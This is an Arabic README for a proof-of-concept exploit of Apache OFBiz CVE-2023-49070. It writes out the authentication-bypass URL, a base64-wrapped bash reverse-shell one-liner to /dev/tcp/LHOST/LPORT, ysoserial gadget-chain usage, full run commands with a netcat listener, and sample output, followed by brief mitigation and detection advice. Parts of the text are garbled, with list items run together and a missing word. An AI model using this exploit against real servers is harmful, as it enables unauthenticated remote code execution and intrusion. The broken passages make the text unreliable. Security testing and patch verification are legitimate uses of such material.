
Python PoC لـ Apache OFBiz CVE-2023-49070: تجاوز المصادقة على /webtools/control/xmlrpc بالإضافة إلى سلسلة gadget من ysoserial لتحقيق RCE عبر إلغاء التسلسل قبل المصادقة.
إثبات مفهوم (PoC) لثغرة RCE عبر إلغاء تسلسل XML-RPC قبل المصادقة في Apache OFBiz، والمُتتبَّعة بالمعرّف
CVE-2023-49070: مسار تجاوز المصادقة يفتح نقطة النهاية القديمة
/webtools/control/xmlrpc، والتي تقوم بإلغاء تسلسل كائن Java يتحكم فيه المهاجم
ويُهرَّب داخل معامل <serializable> في XML-RPC.
⚠️ لاختبارات الأمان المصرَّح بها فقط. لا تشغّل هذا إلا ضد أنظمة تملكها أو مصرَّح لك صراحةً باختبارها (بيئات CTF/المختبر، المهام ذات النطاق الموقَّع، إلخ). الوصول غير المصرَّح به إلى أنظمة الحاسوب غير قانوني في معظم الولايات القضائية.
عادةً ما تحمي مصادقة view-map في Apache OFBiz المسار
/webtools/control/xmlrpc. يمكن خداع الإصدارات المتأثرة (< 18.12.10)
لتخطي هذا الفحص عبر إلحاق فاصلة منقوطة مع معاملات استعلام محددة
بالمسار:
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
بمجرد أن يصبح قابلاً للوصول، تقبل نقطة النهاية طلبات XML-RPC. يدعم
تنفيذ Java لـ Apache XML-RPC نوع امتداد <serializable>: يُفكّ ترميز
base64 لمحتوى العنصر ويُمرَّر مباشرةً إلى
ObjectInputStream.readObject() — وهو إلغاء تسلسل Java غير آمن
كلاسيكي. مع سلسلة gadget مناسبة على classpath (يستخدم هذا الـ PoC
افتراضيًا عبر )،
يترجم ذلك مباشرةً إلى تنفيذ أوامر عن بُعد بصلاحيات مستخدم نظام
التشغيل الذي يشغّل OFBiz.
CommonsBeanutils1هذه هي نفس عائلة الخلل في ثغرات إلغاء تسلسل XML-RPC السابقة في OFBiz (مثل الشقيق المتعلق بتجاوز المصادقة في CVE-2023-51467)؛ لطالما كان لدى OFBiz نمط متكرر من أزواج تجاوز المصادقة + إلغاء التسلسل على نقطة النهاية هذه، لذا تحقق من نطاق CVE/الإصدار الدقيق الذي ينطبق على هدفك قبل الاعتماد على هذا الـ PoC.
bash -i >& /dev/tcp/LHOST/LPORT 0>&1،
ويرمّزه بـ base64، ويلفّه في سطر واحد
bash -c 'echo ... | base64 -d | bash'
(يتفادى تشويه محارف shell الوصفية لاحقًا في
سلسلة التنفيذ).ysoserial لبناء سلسلة gadget متسلسلة
(CommonsBeanutils1 افتراضيًا، وقابلة للتكوين) تشغّل ذلك
السطر الواحد.<serializable>.TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.No such service) — وهي
إشارة إلى أن الحمولة قد عُولجت، وليست دليلًا على تنفيذ الكود.لا يمكنه تأكيد حصولك على shell — يعيد OFBiz خطأً عامًا في كلتا
الحالتين بمجرد تشغيل إلغاء التسلسل (طريقة XML-RPC نفسها، Dns،
غير موجودة كخدمة حقيقية). احرص دائمًا على تشغيل المستمع لديك
وتحقّق منه، وليس فقط من مخرجات وحدة تحكم السكربت.
pip install requests --break-system-packagesysoserial-all.jar — ابنِه بنفسك من
frohoff/ysoserial
(mvn clean package -DskipTests) أو احصل على jar من الإصدارات. غير مضمَّن
هنا — فهو أداة طرف ثالث كبيرة لها ترخيصها الخاص.python3 ofbiz_xmlrpc_rce.py \
--target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar
ابدأ مستمعًا أولًا:
nc -lvnp 4444
| Flag | Default | Description |
|---|---|---|
--target | (required) | Target base URL, e.g. https://ofbiz.target.tld |
--lhost | (required) | Your listener IP |
--lport | (required) | Your listener port |
--ysoserial | ysoserial-all.jar | Path to the ysoserial jar |
--gadget | CommonsBeanutils1 | ysoserial gadget chain to use |
--java-bin | java | Java binary to invoke |
--timeout | 15 | HTTP request timeout (seconds) |
--proxy | (none) | Optional HTTP(S) proxy, e.g. for routing through Burp |
CommonsBeanutils1 هو الخيار الكلاسيكي لـ OFBiz (فهو يضمّن
commons-beanutils على classpath)، لكن إن لم ينجح، فإن
مكتبات OFBiz المضمَّنة تدعم سلاسل أخرى أيضًا. ما عليك سوى تبديل --gadget:
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar \
--gadget CommonsCollections6
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
This is a signal the gadget chain executed, not proof of a shell.
[*] Check your listener: nc -lvnp 4444
/webtools/control/xmlrpc إن لم تكن
تستخدم تكامل XML-RPC فعليًا؛ فمكوّن webtools عمومًا
هدف شائع ولا ينبغي أن يكون مواجهًا للإنترنت دون سبب
قوي.; هذه ضد تحليل مسار Java servlet.ObjectInputFilter، المتاح منذ JEP 290 / Java 9+) لحظر
فئات سلاسل gadget المعروفة من أن تُنشأ أبدًا، بغض النظر عن
نقطة النهاية التي تُشغّل إلغاء التسلسل.*/control/xmlrpc* التي تحتوي على
عناصر <serializable>، والاتصالات الصادرة غير المتوقعة من
مضيف OFBiz، والعمليات الفرعية التي تُنشئها عملية Java التي تشغّل
OFBiz.MIT — راجع LICENSE.